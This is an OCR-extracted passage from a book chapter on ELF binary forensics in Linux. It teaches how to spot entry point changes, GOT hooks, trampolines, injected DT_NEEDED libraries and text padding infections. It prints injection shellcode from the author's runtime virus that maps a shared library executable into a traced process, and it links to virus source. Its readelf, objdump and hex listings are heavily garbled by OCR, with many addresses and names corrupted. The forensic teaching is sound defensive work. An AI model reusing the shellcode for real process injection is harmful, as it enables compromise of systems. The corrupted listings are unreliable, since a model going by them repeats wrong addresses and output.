http://www.bitlackeys.org/resources/binary_protection_schemes.pdf

This paper was followed by a talk given at a later date, and the slides can be found here:

http://2005.recon.cx/recon2005/papers/Andrew_ Griffiths/protecting_binaries.pdf


http://www.bitlackeys.org/resources/binary_protection_schemes.pdf
http://2005.recon.cx/recon2005/papers/Andrew_Griffiths/protecting_binaries.pdf




Summary

In this chapter, we revealed the inner workings of basic binary protection schemes for
Linux binaries, and discussed the various features of existing binary protectors that have
been released for Linux over the last decade.

In the next chapter, we will be exploring things from the opposite angle and begin looking
at ELF binary forensics in Linux.






Chapter 6. ELF Binary Forensics in Linux

The field of computer forensics is widespread and includes many facets of investigation.
One such facet is the analysis of executable code. One of the most insidious places for a
hacker to install some type of malicious functionality is within an executable file of some
kind. In Linux, this is, of course, the ELF file type. We already explored some of the
infection techniques that are being used in Chapter 4, ELF Virus Technology — Linux/Unix
Viruses, but have spent very little time discussing the analysis phase. How exactly should
an investigator go about exploring a binary for anomalies or code infections? That is what
this chapter is all about.

The motives for an attacker infecting an executable varies greatly, and it may be for a
virus, a botnet, or a backdoor. There are, of course, many cases where an individual wants
to patch or modify a binary to achieve totally different ends such as binary protection,
code patching, or other experimentation. Whether malicious or not, the binary
modification methods are all the same. The inserted code is what determines whether or
not the binary is possessed with malicious intent.

In either case, this chapter will arm the reader with the insight necessary for determining
whether or not a binary has been modified, and how exactly it has been modified. In the
following pages, we will be examining several different types of infections and will even
discuss some of my findings when performing a real-world analysis of the Retaliation
Virus for Linux that was engineered by one of the world’s most skilled Virus authors
named JPanic. This chapter is all about training your eye to be able to spot anomalies
within an ELF binary file, and with some practice it becomes quite possible to do so with
ease.



The science of detecting entry point
modification

When a binary is modified in some way, it is generally for the purpose of adding code to
the binary and then redirecting execution flow to that code. The redirection of execution
flow can happen in many places within the binary. In this particular case, we are going to
examine a very common technique used when patching binaries, especially for viruses.
This technique is to simply modify the entry point, which is the e_entry member of the
ELF file header.

The goal is here to determine whether or not e_entry is holding an address that points to a
location that signifies an abnormal modification to the binary.

Note

Abnormal means any modification that wasn’t created by the linker itself /usr/bin/1d
whose job it is to link ELF objects together. The linker will create a binary that represents
normalcy, whereas an unnatural modification often appears suspicious to the trained eye.

The quickest route to being able to detect anomalies is to first know what is normal. Let’s
take a look at two normal binaries: one dynamically linked and the other statically linked.
Both have been compiled with gcc and neither has been tampered with in any way:

$ readelf -h binl | grep Entry
Entry point address: 0x400520
$

So we can see that the entry point is 0x400520. If we look at the section headers, we can
see what section this address falls into:

readelf -S binl | grep 4005
[13] .text PROGBITS 0000000000400520 00000520

Note

In our example, the entry point starts at the beginning of the . text section. This is not
always so, and therefore grepping for the first significant hex-digits, as we did previously
isn’t a consistent approach. It is recommended that you check both the address and size of
each section header until you find the section with an address range that contains the entry
point.

As we can see, it points right to the beginning of the . text section, which is common, but
depending on how the binary was compiled and linked, this may change with each binary
you look at. This binary was compiled so that it was linked to libc just like 99 percent of
the binaries you will encounter are. This means that the entry point contains some special
initialization code and it looks almost identical in every single libc-linked binary, so let’s
take a look at it so we can know what to expect when analyzing the entry point code of
binaries:



$ objdump -d --section=.text binl

0000000000400520 <_start>:

400520: 31 ed xor %ebp, %ebp

400522: 49 89 di mov %rdx, %r9

400525: 5e pop %rsi

400526 48 89 e2 mov %rsp, %rdx

400529: 48 83 e4 fO and SOXFIFFfffffffffffo,%rsp

40052d: 50 push %rax

40052e: 54 push %rsp

40052f: 49 c7 cO 20 07 40 60 mov $0x400720,%r8 //
_libc_csu_fini

400536 48 c7 c1 bo 06 40 00 mov $0x4006b0O, %rcx //
__libc_csu_init

40053d: 48 c7 c7 0d 06 40 00 mov $0x40060d,%rdi // main()

400544 : e8 87 ff ff ff callg 4004de // call

libc_start_main()

The preceding assembly code is the standard glibc initialization code pointed to by
e_entry of the ELF header. This code is always executed before main() and its purpose is
to call the initialization routine libc_start_main():

libc_start_main((void *)&main, & _libc_csu_init, &libc_csu_fini);

This function sets up the process heap segment, registers constructors and destructors, and
initializes threading-related data. Then it calls main().

Now that you know what the entry point code looks like on a libc-linked binary, you
should be able to easily determine when the entry point address is suspicious, when it
points to code that does not look like this, or when it is not even in the . text section at
all!

Note

A binary that is statically linked with libc will have initialization code in _start that is
virtually identical to the preceding code, so the same rule applies for statically linked
binaries as well.

Now let’s take a look another binary that has been infected with the Retaliation Virus and
see what type of oddities we find with the entry point:

$ readelf -h retal virus_sample | grep Entry
Entry point address: 0x80f56f

A quick examination of the section headers with readelf -s will prove that this address is
not accounted for by any section header, which is extremely suspicious. If an executable
has section headers and there is an executable area that is not accounted for by a section,
then it is almost certainly a sign of infection or binary patching. For code to be executed,
section headers are not necessary as we’ve already learned, but program headers are.

Let’s take a look and see what segment this address fits into by looking at the program
headers with readelf -1:



E1f file type is EXEC (Executable file)
Entry point 0x80f56f
There are 9 program headers, starting at offset 64

Program Headers:

Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align

PHDR OX00000OOOOOE00040 OXOOOOOOOOOO400040 OXOOOEOOOOO0O400040
OX000000ENAENAENAE1F8 OXOOOOOOOOONEAE1F8 R E 8

INTERP OX00000OOOOEE00238 OXOOOOOOOOOO400238 OXOOEEOOOOO0O0400238
OX00000OOOOEEEO0IC OXOOOOOOOOOOEEE0ICc R 1

[Requesting program interpreter: /1ib64/1d-1inux-x86-64.s0.2]

LOAD OX0000OOEELOOEOO0OOO OXOEOOOOOEEO400000 OXOOEEOOOOOO400000
OX00000000O0001244 OXOOOO0000000001244 R E 200000

LOAD OX0000000OOO001e28 OXOOOOOOOOOO601e28 OXOOOOOOOOOO601e28
OX00000OOOEOE00208 OXOOOOOOOEEEEEE218 RW 200000

DYNAMIC OX000000OOOOE01e50 OXOOOOOOOOOO601e50 OXOOOEOOOOOO601e50
OX000000OOEEEOO0190 OXOOOOOOOEEEEEE1I90 RW 8

LOAD 0x0000000000003129 Ox0000000000803129 OXx000C000000803129
0x000000000000d9a3 0x000000000000f4b3 RWE 200000

This output is extremely suspicious for several reasons. Typically, we only see two LOAD
segments with one ELF executable—one for the text and one for the data—although this
is not a strict rule. Nevertheless, it is the norm, and this binary is showing three segments.

Moreover, this segment is suspiciously marked RWE (read + write + execute), which
indicates self-modifying code, commonly used with viruses that have polymorphic
engines such as this one. The entry point, points inside this third segment, when it should
be pointing to the first segment (the text segment), which, as we can see, starts at the
virtual address 6x400000, which is the typical text segment address for executables on
Linux x86_64. We don’t even have to look at the code to be fairly confident that this
binary has been patched.

But for verification, especially if you are designing code that performs automated analysis
of binaries, you can check the code at the entry point and see if it matches what it is
expected to look like, which is the libc initialization code we looked at earlier.

The following gdb command is displaying the disassembled instructions found at the entry
point of the retal_virus_sample executable:

(gdb) x/12i Ox80f56f

0x80f56f: push  %rii

Ox80f571: movswl %ri5w,%riid

0x80f575: movzwq -0x20d547(%rip),%ril # Ox602036
Ox80f57d: bt $0xd, %rilw

0x80f583: movabs $0x5ebe954fa, %ril

0x80f58d: sbb %dx, -0x20d563(%rip) # 0x602031
0x80f594: push  %rsi

0x80f595: sete  %sil

0x80f599: btr %rbp,%ril

0x80f59d: imul -0x20d582(%rip), %esi # Ox602022
0x80f5a4: negw -0x20d57b(%rip) # Ox602030 <completed.6458>
0x80f5ab: bswap %rsi



I think we can quickly agree that the preceding code does not look like the libc
initialization code that we would expect to see in the entry point code of an untampered
executable. You can simply compare it with the expected libc initialization code that we
looked at from bin1 to find this out.

Other signs of modified entry points are when the address points to any section outside of
the . text section, especially if it’s a section that is the last-most section within the text
segment (sometimes this the .eh_frame section). Another sure sign is if the address points
to a location within the data segment that will generally be marked as executable (visible
with readelf -1) so that it can execute the parasite code.

Note

Typically, the data segment is marked as RW, because no code is supposed to be executing
in that segment. If you see the data marked RWX then let that serve as a red flag, because
it is extremely suspicious.

Modifying the entry point is not the only way to create an entry point to insert code. It is a
common way to achieve it, and being able to detect this is an important heuristic,
especially in malware because it can reveal the start point of the parasite code. In the next
section, we will discuss other methods used to hijack control flow, which is not always at
the beginning of execution, but in the middle or even at the end.






Detecting other forms of control flow
hijacking

There are many reasons to modify a binary, and depending on the desired functionality, the
binary control flow will be patched in different ways. In the previous example of the
Retaliation Virus, the entry point in the ELF file header was modified. There are many

other ways to transfer execution to the inserted code, and we will discuss a few of the
more common approaches.



Patching the .ctors/.init_array section

In ELF executables and shared libraries, you will notice that there is a section commonly
present named .ctors (commonly also named .init_array). This section contains an
array of addresses that are function pointers called by the initialization code from the
.init section. The function pointers refer to functions created with the constructor
attribute, which are executed before main(). This means that the .ctors function pointer
table can be patched with an address that points to the code that has been injected into the
binary, which we refer to as the parasite code.

It is relatively easy to check whether or not one of the addresses in the .ctors section is
valid. The constructor routines should always be stored specifically within the . text
section of the text segment. Remember from Chapter 2, The ELF Binary Format, that the
. text section is not the text segment, but rather a section that resides within the range of
the text segment. If the .ctors section contains any function pointers that refer to
locations outside of the . text section, then it is probably time to get suspicious.

Note
A side note on .ctors for anti-anti-debugging

Some binaries that incorporate anti-debugging techniques will actually create a legal
constructor function that calls ptrace (PTRACE_TRACEME, 0);.

As discussed in Chapter 4, ELF Virus Technology — Linux/Unix Viruses, this technique
prevents a debugger from attaching to the process since only one tracer can be attached at
any given time. If you discover that a binary has a function that performs this anti-
debugging trick and has a function pointer in .ctors, then it is advised to simply patch
that function pointer with 0x00000000 or exffffffff that will direct the
__libc_start_main() function to ignore it, therefore effectively disabling the anti-
debugging technique. This task could be easily accomplished in GDB with the set
command, for example, set {long}address = Oxffffffff, assuming that address is the
location of the .ctors entry you want to modify.



Detecting PLT/GOT hooks

This technique has been used as far back as 1998 when it was published by Silvio Cesare
in http://phrack.org/issues/56/7.html, which discusses the techniques of shared library
redirection.

In Chapter 2, The ELF Binary Format, we carefully examined dynamic linking and I
explained the inner workings of the PLT (procedure linkage table) and GOT (global
offset table). Specifically, we looked at lazy linking and how the PLT contains code stubs
that transfer control to addresses that are stored in the GOT. If a shared library function
such as printf has never been called before, then the address stored in the GOT will point
back to the PLT, which then invokes the dynamic linker, subsequently filling in the GOT
with the address that points to the printf function from the libc shared library that is
mapped into the process address space.

It is common for both static (at rest) and hot-patching (in memory) to modify one or more
GOT entries so that a patched in function is called instead of the original. We will examine
a binary that has been injected with an object file that contains a function that simply
writes a string to stdout. The GOT entry for puts(char *); has been patched with an
address that points to the injected function.

The first three GOT entries are reserved and will typically not be patched because it will
likely prevent the executable from running correctly (See Chapter 2, The ELF Binary
Format, section on Dynamic linking). Therefore, as analysts, we are interested in
observing the entries starting at GOT[3]. Each GOT value should be an address. The
address can have one of two values that would be considered valid:

e Address pointer that points back into the PLT
¢ Address pointer that points to a valid shared library function

When a binary is infected on disk (versus runtime infection), then a GOT entry will be
patched with an address that points somewhere within the binary where code has been
injected. Recall from Chapter 4, ELF Virus Technology — Linux/Unix Viruses, that there
are numerous ways to inject code into an executable file. In the binary sample that we will
look at here, a relocatable object file (ET_REL) was inserted at the end of the text segment
using the Silvio padding infection discussed in Chapter 4, ELF Virus Technology —
Linux/Unix Viruses.

When analyzing the .got.plt section of a binary that has been infected, we must carefully
validate each address from GOT[4] through GOT[N]. This is still easier than looking at
the binary in memory because before the binary is executed, the GOT entries should
always point only to the PLT, as no shared library functions have been resolved yet.

Using the readelf -S utility and looking for the .plt section, we can deduce the PLT
address range. In the case of the 32-bit binary I am looking at now, it is 0x8048300 -
0x8048350. Remember this range before we look at the following .got.plt section.

Truncated output from readelf -S command


http://phrack.org/issues/56/7.html

[12] .plt PROGBITS 08048300 00O300 OOOLES50 04 AX 0O 0 16

Now let’s take a look at the .got.plt section of a 32-bit binary and see if any of the
relevant addresses are pointing outside of 0x8048300—0x8048350:

Contents of section .got.plt:

Ox804a00c: 28860408 26830408 36830408 ..

So let’s take these addresses out of their little endian byte ordering and validate that each
one points within the .plt section as expected:

e 08048628: This does not point to PLT!
e 08048326: This is valid
e 08048336: This is valid
e 08048346: This is valid

The GOT location 6x804a00c contains the address 0x8048628, which does not point to a
valid location. We can see what shared library function 6x804a00c corresponds to by
looking at the relocation entries with the readelf -r command, which shows us that the
infected GOT entry corresponds to the libc function puts():

Relocation section '.rel.plt' at offset Ox2b0O contains 4 entries:

Offset Info Type Sym.Value Sym. Name

0804a00c 00000107 R_386_JUMP_SLOT 00000000 puts

0804a010 00000207 R_386_JUMP_SLOT 00000000 _ gmon_start___
0804a014 00000307 R_386_JUMP_SLOT 00000000  exit

0804a018 00000407 R_386_JUMP_SLOT 00000000 _ libc_start_main

So the GOT location 6x804a00c is the relocation unit for the puts() function. Typically, it
should contain an address that points to the PLT stub for the GOT offset so that the
dynamic linker will be invoked and resolve the runtime value for that symbol. In this case,
the GOT entry contains the address ©x8048628, which points to a suspicious bit of code at
the end of the text segment:

8048628: 55 push  %ebp

8048629: 89 e5 mov %esp, %ebp
804862b: 83 ec 0Oc sub $0OxC, %esp
804862e: CcC7 44 24 08 25 00 00 movl $0x25, Ox8(%esp)
8048635: 00

8048636 C7 44 24 04 4c 86 04 movl $0x804864c, Ox4(%esp)
804863d: 08

804863e: c7 04 24 01 00 00 0O movl $0x1, (%esp)
8048645: e8 a6 ff ff ff call 80485f0 < write>
804864a: c9 leave

804864b: c3 ret

Technically, we don’t even have to know what this code does in order to know that the
GOT was hijacked because the GOT should only contain addresses that point to the PLT,
and this is clearly not a PLT address:

$ ./host
HAHA puts() has been hijacked!
$



A further exercise would be to disinfect this binary manually, which is something we do in
the ELF workshop trainings I provide periodically. Disinfecting this binary would
primarily entail patching the .got.plt entry that contains the pointer to the parasite and
replacing it with a pointer to the appropriate PLT stub.



Detecting function trampolines

The term trampoline is used loosely but is originally referred to inline code patching,
where the insertion of a branch instruction such as a jmp is placed over the first 5 to 7
bytes of the procedure prologue of a function. Often times, this trampoline is temporarily
replaced with the original code bytes if the function that was patched needs to be called in
such a way that it behaves as it originally did, and then the trampoline instruction is
quickly placed back again. Detecting inline code hooks such as these is quite easy and can
even be automated with some degree of ease provided you have a program or script that
can disassemble a binary.

Following are two examples of trampoline code (32-bit x86 ASM):
e Type 1:

movl $target, %eax
jmp *%eax

e Type 2:

push $target
ret

A good classic paper on using function trampolines for function hijacking in kernel space
was written by Silvio in 1999. The same concepts can be applied today in userland and in
the kernel; for the kernel you would have to disable the write protect bit in the cr0 register
to make the text segment writeable, or directly modify a PTE to mark a given page as
writeable. I personally have had more success with the former method. The original paper
on kernel function trampolines can be found at http://vxheaven.org/lib/vsc08.html.

The quickest way to detect function trampolines is to locate the entry point of every single
function and verify that the first 5 to 7 bytes of code do not translate to some type of
branch instruction. It would be very easy to write a Python script for GDB that can do this.
I have written C code to do this in the past fairly easily.


http://vxheaven.org/lib/vsc08.html




Identifying parasite code characteristics

We just reviewed some common methods for hijacking execution flow. If you can identify
where the execution flow points, you can typically identify some or all of the parasite
code. In the section Detecting PLT/GOT hooks, we determined the location of the parasite
code for the hijacked puts() function by simply locating the PLT/GOT entry that had
been modified and seeing where that address pointed to, which, in that case, was to an
appended page containing parasite code.

Parasite code can be qualified as code that is unnaturally inserted into the binary; in other
words, it wasn’t linked in by the actual ELF object linker. With that said, there are several
characteristics that can sometimes be attributed to injected code, depending on the
techniques used.

Position independent code (PIC) is often used for parasites so that it can be injected into
any point of a binary or memory and still execute properly regardless of its position in
memory. PIC parasites are easier to inject into an executable because the code can be
inserted into the binary without having to consider handling relocations. In some cases,
such as with my Linux padding Virus http://www.bitlackeys.org/projects/Ipv.c, the parasite
is compiled as an executable with the gcc-nostdlib flag. It is not compiled as position
independent, but it has no libc linking, and special care is taken within the parasite code
itself to dynamically resolve memory addresses with instruction-pointer relative
computations.

In many cases, the parasite code is written purely in assembly language and is therefore in
a sense more identifiable as being a potential parasite since it will look different from what
the compiler produces. One of the giveaways with parasite code written in assembly is the
way in which syscalls are handled. In C code, typically syscalls are called through libc
functions that will invoke the actual syscall. Therefore, syscalls look just like regular
dynamically linked functions. In handwritten assembly code, syscalls are usually invoked
directly using either the Intel sysenter or syscall instructions, and sometimes even int
0x80 (which is now considered legacy). If syscall instructions are present, we may
consider it a red flag.

Another red flag, especially when analyzing a remote process that may be infected, is to
see int3 instructions that can serve many purposes such as passing control back to a
tracing process that is performing the infection or, even more disturbing, the ability to
trigger some type of anti-debugging mechanism within malware or a binary protector.

The following 32-bit code memory maps a shared library into a process and then passes
control back to the tracer with an int3. Notice that int 0x80 is being used to invoke the
syscalls. This shellcode is actually quite old; I wrote it in 2008. Typically, nowadays we
want to use either the sysenter or syscall instruction to invoke a system call in Linux, but
the int 0x80 will still work; it is just slower and therefore considered deprecated:

_start:
jmp B
A:


http://www.bitlackeys.org/projects/lpv.c

# fd = open("libtest.so0.1.0", O_RDONLY);

xorl %ecx, %ecx
movb $5, %al
popl %ebx

xorl %ecx, %ecx
int $0x80

subl $24, %esp
# mmap(O®, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0);

xorl %edx, %edx
movl %edx, (%esp)
movl $8192, 4(%esp)
movl $7, 8(%esp)
movl $2, 12(%esp)
movl %eax,16(%esp)
movl %edx, 20(%esp)
movl $90, %eax
movl %esp, %ebx

int $0x80

int3

call A
.string "/1lib/libtest.so0.1.0"

If you were to see this code inside an executable on disk or in memory, you should quickly
come to the conclusion that it does not look like compiled code. One dead giveaway is the
call/pop technique that is used to dynamically retrieve the address of
/lib/libtest.so.1.0. The string is stored right after the call A instruction and therefore
its address is pushed onto the stack, and then you can see that it gets popped into ebx,
which is not conventional compiler code.

Note

This particular snippet was taken from a runtime virus I wrote in 2009. We will
specifically get into the analysis of process memory in the next chapter.

For runtime analysis, the infection vectors are many, and we will cover more about
parasite identification in memory when we get into Chapter 7, Process Memory Forensics.






Checking the dynamic segment for DLLL
injection traces

Recall from Chapter 2, The ELF Binary Format, that the dynamic segment can be found in
the program header table and is of type PT_DYNAMIC. There is also a .dynamic section that
also points to the dynamic segment.

The dynamic segment is an array of EIfN_Dyn structs that contains d_tag and a
corresponding value that exists in a union:

typedef struct {
E1fN_Sxword

union {
E1fN_Xword d_val;
E1fN_Addr d_ptr;

d_tag;

} d_un;
E1fN_Dyn;
} yn;

Using readelf we can easily view the dynamic segment of a file.

Following is an example of a legitimate dynamic segment:

$ readelf -d ./test

Dynamic section at offset Oxe28 contains 24 entries:

Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so0.6]
0Xx000000000000000Cc (INIT) 0x4004c8
0Xx000000000000000d (FINI) 0x400754
OX0000000000000019 (INIT_ARRAY) 0x600e10
OX000000000000001b (INIT_ARRAYSZ) 8 (bytes)
OX000000000000001a (FINI_ARRAY) 0x600e18
OX000000000000001c (FINI_ARRAYSZ) 8 (bytes)
OXx000000006ffffef5 (GNU_HASH) 0x400298
OX00000000000BE005 (STRTAB) 0x400380
OXx000000000EOE0E6 (SYMTAB) 0x4002c0
OX000000OOOENO00Ra (STRSZ) 87 (bytes)
OX0000000000OBE0Ob (SYMENT) 24 (bytes)
0X0000000000000015 (DEBUG) 0x0
OX000000000EOBEOE3 (PLTGOT) 0Xx601000
OXx00000000OEOBE002 (PLTRELSZ) 144 (bytes)
OX0000000000000014 (PLTREL) RELA
0Xx0000000000000017 (JMPREL) Ox400438
OX0000000000000007 (RELA) Ox400408
0Xx0000000000000008 (RELASZ) 48 (bytes)
0Xx0000000000000009 (RELAENT) 24 (bytes)
0Xx000000006Ffffffe (VERNEED) Ox4003e8
OX000000006Fffffff (VERNEEDNUM) 1
OX000000006FfffffO (VERSYM) 0x4003d8
OX0000000000000000 (NULL) Ox0

There are many important tag types here that are necessary for the dynamic linker to
navigate the binary at runtime so that it can resolve relocations and load libraries. Notice



that the tag type called NEEDED is highlighted in the preceding code. This is the dynamic
entry that tells the dynamic linker which shared libraries it needs to load into memory. The
dynamic linker will search for the named shared library in the paths specified by the
$LD_LIBRARY_PATH environment variable.

It is clearly conceivable for an attacker to add a NEEDED entry into the binary that is
specifying a shared library to load. This is not a very common technique in my experience,
but it is a technique that can be used tell the dynamic linker to load whichever library you
want. The problem for analysts is that this technique is difficult to detect if it is done
correctly, which is to say that the inserted NEEDED entry is inserted directly after the last
legitimate NEEDED entry. This can be difficult because you have to move all of the other
dynamic entries forward to make room for your insertion.

In many cases, the attacker may do this the inexperienced way where the NEEDED entry is
at the very end of all other entries, which the object linker would never do, so if you see a

dynamic segment that looks like the following, you know something is up.

The following is an example of an infected dynamic segment:

$ readelf -d ./test

Dynamic section at offset O0xe28 contains 24 entries:

Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so0.6]
0x000000000000000Cc (INIT) 0x4004c8
0x000000000000000d (FINI) 0x400754
0x0000000000000019 (INIT_ARRAY) 0x600e10
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x600e18
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006Ffffef5 (GNU_HASH) 0x400298
0Xx0000000000000005 (STRTAB) 0x400380
0x00000000000O0006 (SYMTAB) 0x4002c0
0Xx000000000000000a (STRSZ) 87 (bytes)
0Xx000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x00000000000000E3 (PLTGOT) 0x601000
0x0000000000000002 (PLTRELSZ) 144 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JIMPREL) 0x400438
0x0000000000000007 (RELA) 0x400408
0Xx0000000000000008 (RELASZ) 48 (bytes)
0Xx0000000000000009 (RELAENT) 24 (bytes)
0Xx000000006Ffffffe (VERNEED) 0x4003e8
OX000000006Fffffff (VERNEEDNUM) 1
OX000000006FfFffffO (VERSYM) 0x4003d8
0x0000000000000001 (NEEDED) Shared library: [evil.so]
OX0000000000000000 (NULL) Ox0






Identifying reverse text padding infections

This is a virus infection technique that we discussed in Chapter 4, ELF Virus Technology —
Linux/Unix Viruses. The idea is that a virus or parasite can make room for its code by
extending the text segment in reverse. The program header for the text segment will look
strange if you know what you’re looking for.

Let’s take a look at an ELF 64-bit binary that has been infected with a virus that uses this
parasite infection method:

readelf -1 ./infected_hostil

E1f file type is EXEC (Executable file)
Entry point 0x3c9040

There are 9 program headers,

Program Headers:

starting at offset 225344

Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align

PHDR 0x0000000000037040 Ox0000000000400040 0xO0000000000400040
0Xx0000000000O0E1F8 OXOOOEOOOOEOBEO1IF8 R E 8

INTERP 0Xx0000000000037238 OXOOOEOOOOEO400238 OXOOEOEOOEOO400238
0X000000000000001Cc OXOOOEOOOOEOBEOAICc R 1

[Requesting program interpreter: /1ib64/1d-1inux-x86-64.s0.2]

LOAD 0x0000000000000000 Ox00000000003FfFfOO0 0XxOO0O00000003FTOO0
0Xx00000000000378e4 OXxOOOCOOOOEOO378e4 RWE 1000

LOAD OX0000000000037e10 OXOOOEONOOOEO600e10 OXOOEOOOOEOO600e10
0Xx0000000000000248 OXOOOEOOOOEOOEO250 RW 1000

DYNAMIC OX0000000000037e28 OXOOOEOOOOEO600e28 OXOOEOOONOEOO600e28
0X00000000000001d0 OXOOOEOOOOEOOEO1dO RW 8

NOTE OX0000000000037254 OXOOOEONONOEO400254 OXOOOOEOOOOE400254
OX0000000000000044 OXOOOCOOOOEOO00044 R 4

GNU_EH_FRAME 0x0000000000037744 0x0000000000400744 OXx0000000000400744
OX000000000000004Cc OXOOOEOOOOEOOOOR4Cc R 4

GNU_STACK  0Ox0000000000037000 O0x0000000000000000 OXOOEOOOOEOOOOEOO0
0X000000000COOENEO OXOOOEOOOOEOOEOEOO RW 10

GNU_RELRO OX0000000000037e10 OXOOOEONOOOEO600e10 OXOOEOOOOEONO600e10
0Xx000000000000E1fO OXOOOEOOOOEOBEO1IFO R 1

On Linux x86_64, the default virtual address for the text segment is 0x400000. This is
because the default linker script used by the linker says to do so. The program header table
(marked by PHDR, as highlighted in the preceding) is 64 bytes into the file and will
therefore have a virtual address of 0x400040. From looking at the program headers in the
preceding output, we can see that the text segment (the first LOAD line) does not have the
expected address; instead it is 0x3ff000. Yet the PHDR virtual address is still at 0x400040,
which tells you that at one point so was the original text segment address, and that
something strange is going on here. This is because the text segment was essentially
extended backward, as we discussed in Chapter 4, ELF Virus Technology — Linux/Unix
Viruses.



Entry point transfers control to parasite W

Ox3ff000
— ELF FILE HEADER

PARASITE CODE

TEXT SEGMENTW JMP TO ENTRY ﬁ
PROGRAM HEADERS

0x400000
.............................. PHDGHAM CD D E

0x601000
DATA SEGMENT

Illustration — Diagram showing a reverse-text-infected executable

The following is an ELF file header of reverse-text-infected executables:

$ readelf -h ./infected_hostil

ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 OO OO 00 OO 0O OO 60
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
0S/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x3ff040
Start of program headers: 225344 (bytes into file)
Start of section headers: 0 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 0

Section header string table index: 0
I have highlighted everything in the ELF header that is questionable:

e Entry point points into parasite area
e Start of program headers should only be 64 bytes
e Section header table offset is 0, as in stripped






Identifying text segment padding
infections

This type of infection is relatively easy to detect. This type of infection was also discussed
in Chapter 4, ELF Virus Technology — Linux/Unix Viruses. This technique relies on the fact
that there is always going to be a minimum of 4,096 bytes between the text and the data
segment because they are loaded into memory as two separate memory segments, and
memory mappings are always page aligned.

On 64-bit systems, there is typically 0x200000 (2MB) free due to PSE (Page size
extension) pages. This means that a 64-bit ELF binary can be inserted with a 2MB
parasite, which is much larger than what is typically needed for an injection space. With
this type of infection, like any other, you can often identify the parasite location by
examining the control flow.

With the 1pv virus which I wrote in 2008, for instance, the entry point is modified to start
execution at the parasite that is inserted using the text segment padding infection. If the
executable that has been infected has a section header table, you will see that the entry
point address resides in the range of the last section within the text segment. Let’s take a
look at a 32-bit ELF executable that has been infected using this technique.

Entry point transfers control to parasite j

- entry point
OxB048MO  tEXT SEGMENT | <
Jump back to original entry ")
0x8049c00 PARASITE 7
...... 4 KB
Ox804ac00
,,,,,, DATA SEGMENT

Illustration — Diagram showing a text segment padding infection

The following is an ELF file header of the 1pv infected file:

$ readelf -h infected.lpv

ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 0O OO0 0O OO OO OO OO 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
0OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)

Machine: Intel 80386



Version: 0x1

Entry point address: 0x80485h8

Start of program headers: 52 (bytes into file)
Start of section headers: 8524 (bytes into file)

Flags: 0x0

Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9

Size of section headers: 40 (bytes)
Number of section headers: 30

Section header string table index: 27

Notice the entry point address, ©x80485b8. Does this address point somewhere inside the
. text section? Let’s take a peek at the section header table and find out.

The following is an ELF section headers of the 1pv infected file:

$ readelf -S infected.lpv

There are 30 section headers, starting at offset 0x214c:

Section Headers:

[Nr] Name Type Addr off
Size ES Flg Lk Inf Al

[ 0] NULL 00000000 000000
000000 00 O 0 0

[ 1] .interp PROGBITS 08048154 000154
000013 00 A 0 0 1

[ 2] .note.ABI-tag NOTE 08048168 000168
000020 00 A 0 0 4

[ 3] .note.gnu.build-1i NOTE 08048188 000188
000024 00 A 0 0 4

[ 4] .gnu.hash GNU_HASH 080481ac 0001lac
000020 04 A 5 0 4

[ 5] .dynsym DYNSYM 080481cc 0001cc
000050 10 A 6 1 4

[ 6] .dynstr STRTAB 0804821c 00021c
00004a 00 A 0 0 1

[ 7] .gnu.version VERSYM 08048266 000266
00000a 02 A 5 0 2

[ 8] .gnu.version_r VERNEED 08048270 000270
000020 00 A 6 1 4

[ 9] .rel.dyn REL 08048290 000290
000008 08 A 5 0 4

[10] .rel.plt REL 08048298 000298
000018 08 A 5 12 4

[11] .init PROGBITS 080482h0 0002b0o
000023 00 AX 0 0 4

[12] .plt PROGBITS 080482e0 0002e0
000040 04 AX 0 0O 16

[13] .text PROGBITS 08048320 000320
000192 00 AX 0 0O 16

[14] .fini PROGBITS 080484h4 0004b4
000014 00 AX 0 0O 4

[15] .rodata PROGBITS 080484c8 0004c8
000014 00 A 0 0 4



[16] .eh_frame_hdr PROGBITS 080484dc 0004dc
00002c 00 A 0 0 4

[17] .eh_frame PROGBITS 08048508 000508
00083b 00 A 0 0 4

[18] .init_array INIT_ARRAY  08049f08 001f08
000004 00 WA 0 0 4

[19] .fini_array FINI_ARRAY  08049f0c 001foc
000004 00 WA 0 0 4

[20] .jcr PROGBITS 0804910 001f10
000004 00 WA 0 0 4

[21] .dynamic DYNAMIC 08049f14 001f14
0000e8 08 WA 6 0 4

[22] .got PROGBITS 08049ffc 001ffc
000004 04 WA © 0 4

[23] .got.plt PROGBITS 08042000 002000
000018 04 WA © 0 4

[24] .data PROGBITS 08042018 002018
000008 00 WA © 0 4

[25] .bss NOBITS 08042020 002020
000004 00 WA 0 0 1

[26] .comment PROGBITS 00000000 002020
000024 01 MS @ 0 1

[27] .shstrtab STRTAB 00000000 002044
000106 00 0o 0 1

[28] .symtab SYMTAB 00000000 0025fc
000430 10 29 45 4

[29] .strtab STRTAB 00000000 002a2c
00024f 00 O 0 1

The entry point address falls within the .eh_frame section that is the last section in the
text segment. This is clearly not the . text section that is enough reason to become

immediately suspicious, and because the .eh_frame section is the last section in the text
segment (which you can verify by using readelf -1), we are able to deduce that this
Virus infection is probably using a text segment padding infection.The following are ELF
program headers of the 1pv infected file:

$ readelf -1 infected.lpv

Elf file type is EXEC (Executable file)

Entry point 0x80485b8

There are 9 program headers, starting at offset 52

